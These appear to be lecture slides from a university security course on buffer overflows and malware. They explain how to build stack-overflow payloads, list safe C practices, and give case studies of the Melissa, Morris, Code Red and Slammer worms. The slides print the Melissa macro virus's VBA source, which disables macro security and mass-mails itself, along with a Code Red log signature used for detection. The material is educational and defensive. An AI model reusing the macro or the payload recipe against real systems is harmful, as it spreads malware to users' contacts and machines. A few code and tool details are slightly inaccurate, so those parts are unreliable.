Announcements

• Course TA: Jianzhou Zhao
  – Office hours: Weds. 1:30 - 2:30, location: TBD
  – Mail: cis551@seas.upenn.edu

• First project: Due: 8 Feb. 2007 at 11:59 p.m.
  • [http://www.cis.upenn.edu/~cis551/project1.html](http://www.cis.upenn.edu/~cis551/project1.html)

• Group project:
  – 2 or 3 students per group
  – Send e-mail to cis551@seas.upenn.edu with your group by *MONDAY* Jan. 28th

• Plan for Today
  – Buffer overflows and malicious code
Buffer Overflow Example

```c
f(char *text) {
    char buffer[128];
    strcpy(buffer, text);
}
```

- Buffer overflow can occur when text is used to overwrite the return address on the stack.
- The attack code occupies 132 bytes.
- The diagram illustrates the buffer, attack code, and stack frame structures.
Buffer Overflow Example

g(char *text) {
    char buffer[128];
    strcpy(buffer, text);
}

Address:
- Attack code 132 bytes
- Base Pointer
- Return Addr.
- ADDR

Analysis:
- `strcpy` operation can cause buffer overflow if `text` is longer than 128 bytes.
- `text` can be overwritten with malicious code, potentially affecting the program's behavior.

Diagram:
- Stack frame structure with `text` pointing to the address of the `strcpy` operation.
Constructing a Payload

- Idea: Overwrite the return address on the stack
  - Value overwritten is an address of some code in the "payload"
  - The processor will jump to the instruction at that location
  - It may be hard to figure out precisely the location in memory

- You can increase the size of the "target" area by padding the code with no-op instructions
- You can increase the chance over overwriting the return address by putting many copies of the target address on the stack

```
[NOP]...[NOP]{attack code} {attack data}[ADDR]...[ADDR]
```
More About Payloads

• How do you construct the attack code to put in the payload?
  – You use a compiler!
  – Gcc + gdb + options to spit out assembly (hex encoded)

• What about the padding?
  – NOP on the x86 has the machine code 0x90

• How do you guess the ADDR to put in the payload?
  – Some guesswork here
  – Figure out where the first stack frame lives: OS & hardware platform dependent, but easy to figure out
  – Look at the program -- try to guess the stack depth at the point of the buffer overflow vulnerability.
  – Intel is little endian -- so if ADDR is: 0xbf9ae358 you actually need to put the following words in the payload: 0x58 0xe3 0x9a 0xbf
What can the payload do?

• In general, anything that the process with the buffer overflow could do.

• If the process runs with root privileges, the attack code can do *anything* root could do.

• If the process runs with user privileges, the attack code can do *anything* the user could do.

• Examples:
  – Run a shell -- allow the attacker to access the machine just as you're familiar with using ssh.
  – Run a spam server or other kind of "Bot Net" software
Finding Buffer Overflows

• The #1 source of vulnerabilities in software
• Caused because C and C++ are not safe languages
  – They use a “null” terminated string representation:

  “HELLO! \0”

  – Standard library routines *assume* that strings will have the null character at the end.
  – Bad defaults: the library routines don’t check inputs

• Easy to accidentally get wrong
• …even easier to maliciously attack
Buffer overflows in library code

• Basic problem is that the library routines look like this:

```c
void strcopy(char *src, char *dst) {
  int i = 0;
  while (src[i] != "\0") {
    dst[i] = src[i];
    i = i + 1;
  }
}
```

• If the memory allocated to dst is smaller than the memory needed to store the contents of src, a buffer overflow occurs.
If you must use C/C++

• Avoid the (long list of) broken library routines:
  – strcpy, strcat, sprintf, scanf, sscanf, gets, read, …
• Use (but be careful with) the "safer" versions:
  – e.g. strncpy, snprintf, fgets, …
• Always do bounds checks
  – One thing to look for when reviewing/auditing code
• Be careful to manage memory properly
  – Dangling pointers often crash program
  – Deallocate storage (otherwise program will have a memory leak)
• Be aware that doing all of this is difficult.
Tool support for C/C++

• Link against "safe" versions of libc (e.g. libsafe)
• Test programs with tools such as Purify or Splint
• Compile programs using tools such as:
  – Stackguard and Pointguard (Cowan et al., immunix.org)
  – gcc's  -fstack-guard and -mudflap options
• Microsoft: allow programmers to add annotations that indicate buffer size information; check them using code analysis tools
• Research compilers:
  – Ccured  (Necula et al.)
  – Cyclone (Morrisett et al.)
• Binary rewriting techniques
  – Software fault isolation (Wahbe et al.)
Defeating Buffer Overflows

• Use a typesafe programming language
  – Java/C# are not vulnerable to these attacks

• Some operating systems move the start of the stack on a per-process basis:
  – E.g. modern versions of Linux  [demo]
Malicious code

• Attackers can remotely exploit buffer overflow vulnerabilities
  – Any program that allows remote connections is potentially a target.
  – Example: Web server processes HTTP requests taken from the network
  – Example: Mail client receives SMTP messages

• Many other forms of 'malicious' code:
  – Viruses, worms, trojan horses, Javascript on web pages, plugins or extensions for any extensible system,…
Timeline: 1975-2004

1975: Delivery of the first personal computer.
1983: Release of the first commercial anti-virus program.
1997: President's Commission on Critical Infrastructure Protection.
1999: Morris joins MIT faculty.
2000: Release of the first major denial of service attack.
2004: CERT stops reporting related computer security incidents because they're too common.

1/24/08
Trapdoors

• A trapdoor is a secret entry point into a module
  – Affects a particular system

• Inserted during code development
  – Accidentally (forget to remove debugging code)
  – Intentionally (maintenance)
  – Maliciously (an insider creates a hole)
Trojan Horse

• A program that pretends to be do one thing when it does another
  – Or does more than advertised

• Login Prompts
  – Trusted path

• Accounting software

• Examples:
  – Game that doubles as a sshd process.
  – Phishing attacks (Spoofed e-mails/web sites)
Worms (In General)

• Self-contained running programs
  – Unlike viruses (although this distinction is mostly academic)

• Infection strategy more active
  – Exploit buffer overflows
  – Exploit bad password choice

• Defenses:
  – Filtering firewalls
  – Monitor system resources
  – Proper access control
Viruses

• A *computer virus* is a (malicious) program
  – Creates (possibly modified) copies of itself
  – Attaches to a host program or data
  – Often has other effects (deleting files, “jokes”, messages)

• Viruses cannot propagate without a “host”
  – Typically require some user action to activate
Virus/Worm Writer’s Goals

- Hard to detect
- Hard to destroy or deactivate
- Spreads infection widely/quickly
- Can reinfect a host
- Easy to create
- Machine/OS independent
Kinds of Viruses

- **Boot Sector Viruses**
  - Historically important, but less common today

- **Memory Resident Viruses**
  - Standard infected executable

- **Macro Viruses (probably most common today)**
  - Embedded in documents (like Word docs)
  - Macros are just programs
  - Word processors & Spreadsheets
    - Startup macro
    - Macros turned on by default
  - Visual Basic Script (VBScript)
Melissa Macro Virus

• Implementation
  – VBA (Visual Basic for Applications) code associated with the "document.open" method of Word

• Strategy
  – Email message containing an infected Word document as an attachment
  – Opening Word document triggers virus if macros are enabled
  – Under certain conditions included attached documents created by the victim
Melissa Macro Virus: Behavior

• Setup
  – lowers the macro security settings
  – permit all macros to run without warning
  – Checks registry for key value “… by Kwyjibo”
  – HKEY_Current_User\Software\Microsoft\Office\Melissa?

• Propagation
  – sends email message to the first 50 entries in every Microsoft Outlook MAPI address book readable by the user executing the macro
Melissa Macro Virus: Behavior

• Propagation Continued
  – Infects Normal.doc template file
  – Normal.doc is used by all Word documents

• “Joke”
  – If minute matches the day of the month, the macro inserts message “Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here.”
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> ""
Then
    CommandBars("Macro").Controls("Security...").Enabled = False
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
    CommandBars("Tools").Controls("Macro").Enabled = False
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNamespace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office", "Melissa?") <> "... by Kwyjibo"
Then
If UngaDasOutlook = "Outlook" Then
    DasMapiName.Logon "profile", "password"
    For y = 1 To DasMapiName.AddressLists.Count
        Set AddyBook = DasMapiName.AddressLists(y)
        x = 1
        Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
        For oo = 1 To AddyBook.AddressEntries.Count
            Peep = AddyBook.AddressEntries(x)
            BreakUmOffASlice.Recipients.Add Peep
            x = x + 1
            If x > 50 Then oo = AddyBook.AddressEntries.Count
        Next oo
        BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
        BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
        BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
        BreakUmOffASlice.Send
        Peep = ""
    Next y
End If
DasMapiName.Logoff
End If
Worm Research Sources

• "Inside the Slammer Worm"
  – Moore, Paxson, Savage, Shannon, Staniford, and Weaver

• "How to Own the Internet in Your Spare Time"
  – Staniford, Paxson, and Weaver

• "The Top Speed of Flash Worms"
  – Staniford, Moore, Paxson, and Weaver

• "Internet Quarantine: Requirements for Containing Self-Propagating Code"
  – Moore, Shannon, Voelker, and Savage

• "Automated Worm Fingerprinting"
  – Singh, Estan, Varghese, and Savage

• Links on the course web pages.
Morris Worm Infection

- Sent a small loader to target machine
  - 99 lines of C code
  - It was compiled on the remote platform (cross platform compatibility)
  - The loader program transferred the rest of the worm from the infected host to the new target.
  - Used authentication! To prevent sys admins from tampering with loaded code.
  - If there was a transmission error, the loader would erase its tracks and exit.
Morris Worm Stealth/DoS

- When loader obtained full code
  - It put into main memory and encrypted
  - Original copies were deleted from disk
  - (Even memory dump wouldn’t expose worm)
- Worm periodically changed its name and process ID
- Resource exhaustion
  - Denial of service
  - There was a bug in the loader program that caused many copies of the worm to be spawned per host
- System administrators cut their network connections
  - Couldn’t use internet to exchange fixes!
Code Red Worm (July 2001)

• Exploited buffer overflow vulnerability in IIS Indexing Service DLL

• Attack Sequence:
  – The victim host is scanned for TCP port 80.
  – The attacking host sends the exploit string to the victim.
  – The worm, now executing on the victim host, checks for the existence of `c:\notworm`. If found, the worm ceases execution.
  – If `c:\notworm` is not found, the worm begins spawning threads to scan random IP addresses for hosts listening on TCP port 80, exploiting any vulnerable hosts it finds.
  – If the victim host's default language is English, then after 100 scanning threads have started and a certain period of time has elapsed following infection, all web pages served by the victim host are defaced with the message,
Code Red Analysis

- In less than 14 hours, 359,104 hosts were compromised.
  - Doubled population in 37 minutes on average
- Attempted to launch a Denial of Service (DoS) attack against www1.whitehouse.gov,
  - Attacked the IP address of the server, rather than the domain name
  - Checked to make sure that port 80 was active before launching the denial of service phase of the attack.
  - These features made it trivially easy to disable the Denial of Service (phase 2) portion of the attack.
  - We cannot expect such weaknesses in the design of future attacks.
Code Red Worm

• The "Code Red" worm can be identified on victim machines by the presence of the following string in IIS log files:

/\default.ida?NNNNN\NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN

• Additionally, web pages on victim machines may be defaced with the following message:

HELLO! Welcome to http://www.worm.com!
Hacked By Chinese!
Slammer Worm

- Saturday, 25 Jan. 2003 around 05:30 UTC
- Exploited buffer overflow in Microsoft's SQL Server or MS SQL Desktop Engine (MSDE).
  - Port 1434 (not a very commonly used port)
- Infected > 75,000 hosts (likely more)
  - Less than 10 minutes!
  - Reached peak scanning rate (55 million scans/sec) in 3 minutes.
- No malicious payload

- Used a single UDP packet with buffer overflow code injection to spread.

- Bugs in the Slammer code slowed its growth
  - The author made mistakes in the random number generator